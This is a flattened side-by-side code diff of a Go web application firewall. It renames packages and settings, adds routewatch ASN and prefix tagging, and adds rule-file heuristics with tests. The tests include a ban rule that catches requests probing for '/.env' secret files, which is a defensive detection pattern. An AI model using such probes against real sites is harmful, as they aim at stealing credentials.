cfg := rq.h.config
if isInside(rq.client, cfg.AllowNets) {
return ""
} }
now := rq.h.now() now := rq.h.now()
if isInside(rq.client, cfg.DenyNets) { v := rq.runHeuristics(ctx, beforeLookup(), now)
return requestlog.ActionDenied if v != nil {
} return v
if rq.banned(now) {
return requestlog.ActionBanned
} }
rq.lookUp(ctx, now) rq.lookUp(ctx, now)
@@ -220,63 +220,11 @@ func (rq *request) checkClient(ctx context.Context) string {
// again: a request counted at the time it arrived could be counted // again: a request counted at the time it arrived could be counted
// after a later one of its client's, which the rate limits would take // after a later one of its client's, which the rate limits would take
// for the clock set back. // for the clock set back.
now = rq.h.now() return rq.runHeuristics(ctx, afterLookup(), rq.h.now())
if rq.countryDenied() {
return requestlog.ActionCountryDenied
}
if rq.blocklistDenied() {
return requestlog.ActionDenied
}
if rq.crowdSecBanned(now) {
return requestlog.ActionBanned
}
if rq.dnsblDenied(ctx) || rq.abuseIPDBDenied(ctx) {
return requestlog.ActionDenied
}
rq.counted = rq.countedByRateLimits()
if rq.counted {
rq.limitPercent, rq.bytesPercent = rq.limitPercentages()
rq.line.LimitPercent, rq.line.LimitPercentSetting = rq.limitPercent.logged()
rq.line.BytesPercent, rq.line.BytesPercentSetting = rq.bytesPercent.logged()
}
if rq.counted && rq.limitBroken(now) {
return requestlog.ActionRateLimited
}
if rq.trapPath(now) {
return requestlog.ActionBanned
}
action := rq.checkRules(now)
if action != "" {
return action
}
if rq.overHeaderLimits() {
return requestlog.ActionTooLarge
}
return rq.checkCoreRuleSet()
}
// countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWWAF_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWWAF_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
} }
// pathExempt reports whether r is exempt under prefixes, // pathExempt reports whether r is exempt under prefixes,
// SWWAF_RATE_LIMIT_EXEMPT_PATHS or SWWAF_WAF_EXEMPT_PATHS: whether its // SWW_RATE_LIMIT_EXEMPT_PATHS or SWW_WAF_EXEMPT_PATHS: whether its
// path as sent, the path the app receives, not percent-decoded, starts // path as sent, the path the app receives, not percent-decoded, starts
// with one of prefixes, so that /%61ssets/x is not under /assets/ for an // with one of prefixes, so that /%61ssets/x is not under /assets/ for an
// app whose router matches the path as received. A request whose decoded // app whose router matches the path as received. A request whose decoded
@@ -314,8 +262,8 @@ func (rq *request) finish() {
} }
duration := time.Since(rq.start) duration := time.Since(rq.start)
line.DurationTotal = requestlog.Milliseconds(duration) line.DurationTotalMS = requestlog.Milliseconds(duration)
line.DurationChecks = timing(rq.start, rq.checked) line.DurationChecksMS = timing(rq.start, rq.checked)
// Counted before the log line is written, so that the metrics count // Counted before the log line is written, so that the metrics count
// every request whose line is out. An allowed request is the exception: // every request whose line is out. An allowed request is the exception:
@@ -363,8 +311,8 @@ func (rq *request) addToHistory() {
ResponseBytes: rq.out.bytes, ResponseBytes: rq.out.bytes,
BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, BrokeLimit: rq.line.Offence == requestlog.OffenceLimit,
Attack: rq.attack, Attack: rq.attack,
RuleBlocked: rq.ruleBlocked, BlockedByBlockRule: rq.blockedByBlockRule,
WAFBlocked: rq.wafBlocked, BlockedByCoreRuleSet: rq.blockedByCoreRuleSet,
} }
rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request) rq.h.limiter.AddToHistory(rq.h.clientGroup(rq.client), rq.h.now(), request)
@@ -378,9 +326,9 @@ func (rq *request) addToHistory() {
// countAnomalies counts the request, which has ended, and its bytes, as // countAnomalies counts the request, which has ended, and its bytes, as
// countedBytes gives them, for the anomaly thresholds, whatever was done // countedBytes gives them, for the anomaly thresholds, whatever was done
// with it: a request refused, one from a client in SWWAF_ALLOW_NETS or // with it: a request refused, one from a client in SWW_ALLOW_NETS or
// SWWAF_RATE_LIMIT_EXEMPT_NETS, and one for a path in // SWW_RATE_LIMIT_EXEMPT_NETS, and one for a path in
// SWWAF_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its // SWW_RATE_LIMIT_EXEMPT_PATHS are counted too. It is counted for its
// client's AS number when answerAtTheEnd gives one. With every anomaly // client's AS number when answerAtTheEnd gives one. With every anomaly
// threshold off, the default, it does nothing. // threshold off, the default, it does nothing.
func (rq *request) countAnomalies() { func (rq *request) countAnomalies() {
@@ -425,7 +373,7 @@ func (rq *request) answerAtTheEnd() (lookup.Answer, bool) {
return rq.h.geojs.Kept(rq.h.clientGroup(rq.client)) return rq.h.geojs.Kept(rq.h.clientGroup(rq.client))
} }
// responseWriter is servewaf's answer to a request. It notes the status and // responseWriter is discriminator's answer to a request. It notes the status and
// size for the log line, and the first error writing the answer. // size for the log line, and the first error writing the answer.
type responseWriter struct { type responseWriter struct {
http.ResponseWriter http.ResponseWriter
@@ -1,6 +1,7 @@
package servewaf_test package discriminator_test
import ( import (
"encoding/json"
"io" "io"
"math" "math"
"net/http" "net/http"
@@ -10,16 +11,16 @@ import (
"testing" "testing"
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const ( const (
// requestIDHeader carries the request's id. // requestIDHeader carries the request's id.
requestIDHeader = "X-Request-ID" requestIDHeader = "X-Request-ID"
// instance is the SWWAF_INSTANCE_NAME a test sets. // instance is the SWW_INSTANCE_NAME a test sets.
instance = "fsn1app1/gitea" instance = "fsn1app1/blog"
// ipv6Client is a client on IPv6, and ipv6Group the netblock the rate // ipv6Client is a client on IPv6, and ipv6Group the netblock the rate
// limits count it as. // limits count it as.
ipv6Client = "2001:db8::7" ipv6Client = "2001:db8::7"
@@ -104,7 +105,7 @@ func wantFullLine(t *testing.T, line logLine) {
headers := map[string]string{"accept": "text/html", "x-custom": "one, two"} headers := map[string]string{"accept": "text/html", "x-custom": "one, two"}
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure, ClientIP: ipv6Client, Method: http.MethodPost, Scheme: secure,
Host: appHost, Path: "/full", Protocol: protocol, Host: appHost, Path: "/full", Protocol: protocol,
@@ -130,7 +131,7 @@ func wantBareLine(t *testing.T, line logLine) {
t.Helper() t.Helper()
want := withTimings(line, requestlog.Line{ want := withTimings(line, requestlog.Line{
Type: requestType, ServeWAFLine: requestlog.ServeWAFLineReport, Type: requestType, DiscriminatorLine: requestlog.DiscriminatorLineReport,
Time: line.Time, Instance: instance, Time: line.Time, Instance: instance,
ClientIP: localhost, Method: http.MethodPost, Scheme: plain, ClientIP: localhost, Method: http.MethodPost, Scheme: plain,
Host: appHost, Path: "/bare", Protocol: protocol, Host: appHost, Path: "/bare", Protocol: protocol,
@@ -155,9 +156,9 @@ func wantBareLine(t *testing.T, line logLine) {
// withTimings returns want with the timings of line. // withTimings returns want with the timings of line.
func withTimings(line logLine, want requestlog.Line) requestlog.Line { func withTimings(line logLine, want requestlog.Line) requestlog.Line {
want.DurationTotal = line.DurationTotal want.DurationTotalMS = line.DurationTotalMS
want.DurationChecks = line.DurationChecks want.DurationChecksMS = line.DurationChecksMS
want.DurationUpstreamTotal = line.DurationUpstreamTotal want.DurationUpstreamTotalMS = line.DurationUpstreamTotalMS
return want return want
} }
@@ -195,7 +196,7 @@ func TestHasAuthorizationAndHasCookieEachComeFromTheirOwnHeader(t *testing.T) {
func TestTimingsAreInOrder(t *testing.T) { func TestTimingsAreInOrder(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
app := startApp(t, func(w http.ResponseWriter, _ *http.Request) { app := startApp(t, func(w http.ResponseWriter, _ *http.Request) {
// The pause sets the times apart; a hold-up of the test only lengthens // The pause sets the times apart; a hold-up of the test only lengthens
@@ -220,15 +221,15 @@ func TestTimingsAreInOrder(t *testing.T) {
wantStatus(t, do(t, req), http.StatusForbidden) wantStatus(t, do(t, req), http.StatusForbidden)
refused := out.endedLines(t, 2)[1] refused := out.endedLines(t, 2)[1]
wantStatus(t, get(t, server.Addr, servewaf.HealthPath), http.StatusOK) wantStatus(t, get(t, server.Addr, discriminator.HealthPath), http.StatusOK)
health := out.endedLines(t, 3)[2] health := out.endedLines(t, 3)[2]
// A request passed to the app has every timing; one refused, none of // A request passed to the app has every timing; one refused, none of
// the app's; the health check, which runs no check, only the total. // the app's; the health check, which runs no check, only the total.
wantTimings(t, forwarded, "duration_total", "duration_checks", wantTimings(t, forwarded, "duration_total_ms", "duration_checks_ms",
"duration_upstream_total") "duration_upstream_total_ms")
wantTimings(t, refused, "duration_total", "duration_checks") wantTimings(t, refused, "duration_total_ms", "duration_checks_ms")
wantTimings(t, health, "duration_total") wantTimings(t, health, "duration_total_ms")
if t.Failed() { if t.Failed() {
return return
@@ -236,9 +237,9 @@ func TestTimingsAreInOrder(t *testing.T) {
// In whole microseconds, as they are logged, so that the sum below is // In whole microseconds, as they are logged, so that the sum below is
// exact. // exact.
total := microseconds(forwarded.DurationTotal) total := microseconds(forwarded.DurationTotalMS)
checks := microseconds(*forwarded.DurationChecks) checks := microseconds(*forwarded.DurationChecksMS)
upstream := microseconds(*forwarded.DurationUpstreamTotal) upstream := microseconds(*forwarded.DurationUpstreamTotalMS)
// The checks end before the request is handed to the app. // The checks end before the request is handed to the app.
if checks+upstream > total { if checks+upstream > total {
@@ -246,9 +247,9 @@ func TestTimingsAreInOrder(t *testing.T) {
total, checks, upstream) total, checks, upstream)
} }
if *refused.DurationChecks > refused.DurationTotal { if *refused.DurationChecksMS > refused.DurationTotalMS {
t.Errorf("refused request's checks took %v of %v milliseconds", t.Errorf("refused request's checks took %v of %v milliseconds",
*refused.DurationChecks, refused.DurationTotal) *refused.DurationChecksMS, refused.DurationTotalMS)
} }
} }
@@ -272,6 +273,48 @@ func wantTimings(t *testing.T, line logLine, want ...string) {
} }
} }
// wantHeuristic checks that line names heuristic as the one that refused the
// request, with figures, a JSON object. A heuristic of "" with figures "null" is
// a line that names none.
func wantHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper()
if line.Heuristic != heuristic ||
!reflect.DeepEqual(line.HeuristicFigures, decodeFigures(t, figures)) {
t.Errorf("log line has heuristic %q with heuristic_figures %v, want %q with %s",
line.Heuristic, line.HeuristicFigures, heuristic, figures)
}
}
// wantAfterAnswerHeuristic checks after_answer_heuristic and
// after_answer_heuristic_figures as wantHeuristic checks heuristic and
// heuristic_figures.
func wantAfterAnswerHeuristic(t *testing.T, line logLine, heuristic, figures string) {
t.Helper()
if line.AfterAnswerHeuristic != heuristic ||
!reflect.DeepEqual(line.AfterAnswerHeuristicFigures, decodeFigures(t, figures)) {
t.Errorf("log line has after_answer_heuristic %q with "+
"after_answer_heuristic_figures %v, want %q with %s",
line.AfterAnswerHeuristic, line.AfterAnswerHeuristicFigures, heuristic, figures)
}
}
// decodeFigures decodes figures, a JSON object of a heuristic's figures, as
// the log line's figures are decoded.
func decodeFigures(t *testing.T, figures string) map[string]any {
t.Helper()
var decoded map[string]any
err := json.Unmarshal([]byte(figures), &decoded)
if err != nil {
t.Fatalf("decode %s: %v", figures, err)
}
return decoded
}
// microseconds is a timing in whole microseconds. // microseconds is a timing in whole microseconds.
func microseconds(milliseconds float64) int64 { func microseconds(milliseconds float64) int64 {
return int64(math.Round(milliseconds * 1000)) return int64(math.Round(milliseconds * 1000))
+42
View File
@@ -0,0 +1,42 @@
package discriminator
// The heuristic routewatch_tags. It reads SWW_ROUTEWATCH_URL.
import (
"context"
"strconv"
"time"
"sneak.berlin/go/smallwebwaf/internal/config"
)
// routeWatchTags adds to the request the tags asn=<number> and prefix=<netblock>
// from what routewatch answered about the client. It refuses nothing, and the
// request does not wait for routewatch. A request that gets no tags from it has
// the reason in the log line's routewatch_tags_missing. While SWW_ROUTEWATCH_URL
// is unset it does nothing. Answers are kept by client and asked for by the
// request's address, and a route without an origin AS gives only the prefix= tag.
type routeWatchTags struct{}
func (routeWatchTags) name() string { return "routewatch_tags" }
func (routeWatchTags) check(ctx context.Context, rq *request, _ time.Time) *verdict {
if rq.h.routeWatch == nil {
return nil
}
route, missing := rq.h.routeWatch.Route(ctx, rq.h.clientGroup(rq.client), rq.client)
if missing != "" {
rq.line.RouteWatchTagsMissing = string(missing)
return nil
}
rq.addTag(config.PrefixTagPrefix + route.Netblock.String())
if route.ASN != 0 {
rq.addTag(config.ASNTagPrefix + strconv.FormatUint(uint64(route.ASN), 10))
}
return nil
}
@@ -0,0 +1,245 @@
package discriminator_test
import (
"context"
"encoding/json"
"net/http"
"net/http/httptest"
"net/netip"
"strings"
"testing"
"time"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// routeWatchURL is SWW_ROUTEWATCH_URL, and tagsMissing the log line's field
// that says why a request got no tags from routewatch.
const (
routeWatchURL = "SWW_ROUTEWATCH_URL"
tagsMissing = "routewatch_tags_missing"
fromV6 = "2001:db8:1::5"
prefixV6 = "2001:db8::/32"
prefixDE = "203.0.113.0/24"
prefixKP = "198.51.100.0/24"
)
// standInRoute is what the stand-in for routewatch answers about an address.
type standInRoute struct {
Netblock string `json:"netblock"`
ASN int `json:"asn"`
}
// startRouteWatch starts a stand-in for routewatch's IP info API that knows the
// routes given by address, and returns its URL.
func startRouteWatch(t *testing.T, routes map[string]standInRoute) string {
t.Helper()
server := httptest.NewServer(http.HandlerFunc(
func(w http.ResponseWriter, r *http.Request) {
address := strings.TrimPrefix(r.URL.Path, "/api/v1/ip/")
result := map[string]any{"ip": address}
if route, known := routes[address]; known {
result["netblock"], result["asn"] = route.Netblock, route.ASN
}
_ = json.NewEncoder(w).Encode(map[string]any{
"status": "ok",
"data": map[string]any{"results": []any{result}},
})
}))
t.Cleanup(server.Close)
return server.URL
}
// waitForRouteWatch waits until routewatch's answer about from, in the client
// group of the given length, is kept, so that the next request gets its tags.
func waitForRouteWatch(
t *testing.T, server *discriminator.Server, from string, bits int,
) {
t.Helper()
addr := netip.MustParseAddr(from)
client := netip.PrefixFrom(addr, bits).Masked()
deadline := time.Now().Add(5 * time.Second)
for {
_, missing := server.RouteWatch.Route(context.Background(), client, addr)
if missing == "" {
return
}
if time.Now().After(deadline) {
t.Fatalf("routewatch's answer about %s not kept: %q", from, missing)
}
time.Sleep(time.Millisecond)
}
}
func wantTagsMissing(t *testing.T, line logLine, want string) {
t.Helper()
got, _ := line.fields[tagsMissing].(string)
if got != want {
t.Errorf("log line has %s %q, want %q", tagsMissing, got, want)
}
}
func TestRouteWatchTagsAreOnTheLogLineWithTheLookupsTags(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 64496}})
s, server, _ := startWithLookups(t, map[string]string{routeWatchURL: url})
waitForRouteWatch(t, server, fromDE, 32)
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
wantTags(t, line, "asn=64496", "country=DE", "prefix="+prefixDE)
wantTagsMissing(t, line, "")
}
func TestRouteWatchTagsAreOnALineDenyNetsRefused(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromKP: {prefixKP, 64511}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, denyNets: fromKP,
})
waitForRouteWatch(t, server, fromKP, 32)
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, "deny_nets", `{"netblock": "`+fromKP+`/32"}`)
wantTags(t, line, "asn=64511", "prefix="+prefixKP)
}
func TestRouteWithoutAnOriginASGivesOnlyThePrefixTag(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromDE: {prefixDE, 0}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url,
})
waitForRouteWatch(t, server, fromDE, 32)
wantTags(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"prefix="+prefixDE)
}
func TestUnsetRouteWatchChangesNothing(t *testing.T) {
t.Parallel()
s, _, server := startWithClock(t, "", map[string]string{lookupSource: off})
if server.RouteWatch != nil {
t.Error("RouteWatch is set while SWW_ROUTEWATCH_URL is unset")
}
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
if _, present := line.fields[tagsMissing]; present {
t.Errorf("log line has %s", tagsMissing)
}
if _, present := line.fields["tags"]; present {
t.Errorf("log line has tags %v", line.fields["tags"])
}
}
func TestUnreachableRouteWatchLetsTheRequestThroughAndSaysWhy(t *testing.T) {
t.Parallel()
// A stand-in that is closed at once, so that the port refuses connections.
dead := httptest.NewServer(http.NotFoundHandler())
url := dead.URL
dead.Close()
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url,
})
wantTagsMissing(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward),
"no_answer_yet")
deadline := time.Now().Add(5 * time.Second)
for {
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
missing, _ := line.fields[tagsMissing].(string)
if missing == "request_failed" {
return
}
if time.Now().After(deadline) {
t.Fatalf("still %q, want request_failed", missing)
}
time.Sleep(time.Millisecond)
}
}
func TestAddressWithoutARouteHasNoTagsAndTheLineSaysSo(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: startRouteWatch(t, nil),
})
deadline := time.Now().Add(5 * time.Second)
for {
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
missing, _ := line.fields[tagsMissing].(string)
if missing == "no_route" {
return
}
if time.Now().After(deadline) {
t.Fatalf("still %q, want no_route", missing)
}
time.Sleep(time.Millisecond)
}
}
func TestTagDenyRefusesOnARouteWatchPrefix(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{
fromDE: {prefixDE, 64496}, fromKP: {prefixKP, 64511},
})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, tagDeny: "prefix=" + prefixKP,
})
waitForRouteWatch(t, server, fromKP, 32)
waitForRouteWatch(t, server, fromDE, 32)
wantHeuristic(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionClientDenied),
"tag_deny", `{"tag": "prefix=`+prefixKP+`"}`)
s.get(fromDE, http.StatusOK, requestlog.ActionForward)
}
func TestTagLimitPercentWorksWithAnIPv6Prefix(t *testing.T) {
t.Parallel()
url := startRouteWatch(t, map[string]standInRoute{fromV6: {prefixV6, 64496}})
s, _, server := startWithClock(t, "", map[string]string{
lookupSource: off, routeWatchURL: url, rateLimitPerMinute: "2",
tagLimitPercent: "prefix=" + prefixV6 + ":50",
})
waitForRouteWatch(t, server, fromV6, 64)
// Half of two is one: the second request breaks the limit.
line := s.get(fromV6, http.StatusOK, requestlog.ActionForward)
wantTags(t, line, "asn=64496", "prefix="+prefixV6)
s.get(fromV6, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}
+62
View File
@@ -0,0 +1,62 @@
package discriminator
// The heuristic rule_files. It reads the rules of the rule files, which
// SWW_RULES_DIR and SWW_RULES_ENABLED name.
import (
"context"
"time"
"sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/rules"
)
// ruleFiles checks the request against the rules of the rule files at now,
// notes the ids of those it matches in the log line, adds the tag
// exploitsignature when it matches any, and refuses the request
// when the last rule it matches refuses it: with ActionBlockedByBlockRule for a
// block rule, and for a ban rule with the action for the ban it makes. A ban
// rule bans the client's netblock for a clear sign of attack, or in observe
// mode raises the alert for the ban
// it would have made. Either rule's match is noted as an offence, for the
// client's history. Its figures are the rule's id and action.
type ruleFiles struct{}
func (ruleFiles) name() string { return "rule_files" }
func (ruleFiles) check(_ context.Context, rq *request, now time.Time) *verdict {
matched := rq.h.rules.Match(rq.in)
for _, rule := range matched {
rq.line.RuleIDs = append(rq.line.RuleIDs, rule.ID)
rq.h.metrics.RuleMatched(rule.ID, rule.Action)
}
if len(matched) == 0 {
return nil
}
rq.addTag(config.ExploitSignatureTag)
// Only the last rule matched can refuse the request.
last := matched[len(matched)-1]
figures := map[string]any{"rule_id": last.ID, "rule_action": last.Action}
switch last.Action {
case rules.ActionBlock:
rq.blockedByBlockRule = true
return &verdict{action: requestlog.ActionBlockedByBlockRule, figures: figures}
case rules.ActionBan:
rq.attack = true
return &verdict{
action: rq.banForAttack(now, bans.Notes{RuleID: last.ID, Target: last.Target}),
figures: figures,
}
default:
return nil
}
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -34,16 +34,17 @@ func TestEachRuleAction(t *testing.T) {
line := s.get(client, http.StatusOK, requestlog.ActionForward) line := s.get(client, http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line, "noted") wantRuleIDs(t, line, "noted")
// A block rule refuses with 403, whatever SWWAF_BAN_RESPONSE is, and // A block rule refuses with 403, whatever SWW_BAN_RESPONSE is, and
// bans no one. // bans no one.
line = s.request(client, "/blocked", http.StatusForbidden, line = s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionRuleBlocked) requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "noted", "blocked") wantRuleIDs(t, line, "noted", "blocked")
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
// A ban rule refuses with SWWAF_BAN_RESPONSE, and bans the client for // A ban rule refuses with SWW_BAN_RESPONSE, and bans the client for
// seven days, the default. // seven days, the default.
line = s.request(client, "/.env", http.StatusTooManyRequests, requestlog.ActionBanned) line = s.request(client, "/.env", http.StatusTooManyRequests,
requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line, "noted", "probe") wantRuleIDs(t, line, "noted", "probe")
if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) { if line.BanExpires != requestlog.FormatTime(start.Add(7*24*time.Hour)) {
@@ -82,7 +83,7 @@ func TestEachRuleAction(t *testing.T) {
// against the rules, and makes the ban permanent. // against the rules, and makes the ban permanent.
clk.advance(time.Hour) clk.advance(time.Hour)
line = s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) line = s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
wantRuleIDs(t, line) wantRuleIDs(t, line)
if line.BanExpires != permanent { if line.BanExpires != permanent {
@@ -90,7 +91,37 @@ func TestEachRuleAction(t *testing.T) {
} }
clk.advance(365 * 24 * time.Hour) clk.advance(365 * 24 * time.Hour)
s.get(client, http.StatusTooManyRequests, requestlog.ActionBanned) s.get(client, http.StatusTooManyRequests, requestlog.ActionPermanentlyBanned)
}
func TestEachRuleActionAddsTheExploitSignatureTag(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/noted$\n"+testRules),
})
wantTags(t, s.request(client, "/noted", http.StatusOK, requestlog.ActionForward),
"exploitsignature")
wantTags(t, s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule), "exploitsignature")
wantTags(t, s.get(client, http.StatusOK, requestlog.ActionForward))
}
func TestRuleRefusalNamesItsHeuristicAndTheRule(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{
rulesDir: writeRules(t, "noted path log ^/\n"+testRules),
})
line := s.request(client, "/blocked", http.StatusForbidden,
requestlog.ActionBlockedByBlockRule)
wantHeuristic(t, line, "rule_files", `{"rule_id": "blocked", "rule_action": "block"}`)
line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
wantHeuristic(t, line, "rule_files", `{"rule_id": "probe", "rule_action": "ban"}`)
} }
func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) { func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
@@ -101,8 +132,9 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
attackBanDuration: "1h", attackBanDuration: "1h",
}) })
// The first probe bans for SWWAF_ATTACK_BAN_DURATION. // The first probe bans for SWW_ATTACK_BAN_DURATION.
line := s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) line := s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) { if line.BanExpires != requestlog.FormatTime(clk.Now().Add(time.Hour)) {
t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires) t.Errorf("log line has ban_expires %q, want an hour on", line.BanExpires)
} }
@@ -112,7 +144,8 @@ func TestNextClearSignOfAttackAfterABanBansPermanently(t *testing.T) {
clk.advance(time.Hour) clk.advance(time.Hour)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionPermanentlyBanned)
if line.BanExpires != permanent { if line.BanExpires != permanent {
t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires) t.Errorf("log line has ban_expires %q, want permanent", line.BanExpires)
} }
@@ -122,8 +155,8 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
s, _, server := startWithClock(t, "", map[string]string{ s, _, server := startWithClock(t, "", map[string]string{
@@ -133,14 +166,15 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
}) })
// A client in SWWAF_ALLOW_NETS is not checked. // A client in SWW_ALLOW_NETS is not checked.
line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward) line := s.request(allowed, "/.env", http.StatusOK, requestlog.ActionForward)
wantRuleIDs(t, line) wantRuleIDs(t, line)
// A probe over the rate limit breaks the limit before any rule sees // A probe over the rate limit breaks the limit before any rule sees
// it. // it.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line = s.request(client, "/.env", http.StatusForbidden, requestlog.ActionRateLimited) line = s.request(client, "/.env", http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
wantRuleIDs(t, line) wantRuleIDs(t, line)
limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) limitBan := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
@@ -150,7 +184,7 @@ func TestRulesComeAfterTheOtherChecks(t *testing.T) {
// A client the rate limits do not apply to is still checked. // A client the rate limits do not apply to is still checked.
s.get(exempt, http.StatusOK, requestlog.ActionForward) s.get(exempt, http.StatusOK, requestlog.ActionForward)
s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionBanned) s.request(exempt, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) { func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
@@ -162,11 +196,11 @@ func TestObserveModeLogsWhatTheRulesWouldDo(t *testing.T) {
}) })
line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward) line := s.request(client, "/blocked", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
wantRuleIDs(t, line, "blocked") wantRuleIDs(t, line, "blocked")
line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward) line = s.request(client, "/.env", http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
wantRuleIDs(t, line, "probe") wantRuleIDs(t, line, "probe")
if line.BanExpires != "" { if line.BanExpires != "" {
@@ -190,24 +224,25 @@ func TestMetricsCountRuleMatchesAndBansForAnAttack(t *testing.T) {
metricsToken: token, metricsToken: token,
}) })
s.request(client, "/blocked", http.StatusForbidden, requestlog.ActionRuleBlocked) s.request(client, "/blocked", http.StatusForbidden,
s.request(client, "/.env", http.StatusForbidden, requestlog.ActionBanned) requestlog.ActionBlockedByBlockRule)
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
s.get(client, http.StatusForbidden, requestlog.ActionPermanentlyBanned)
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1) `sww_rule_matches_total{action="block",instance="app",rule_id="blocked"}`, 1)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1) `sww_rule_matches_total{action="ban",instance="app",rule_id="probe"}`, 1)
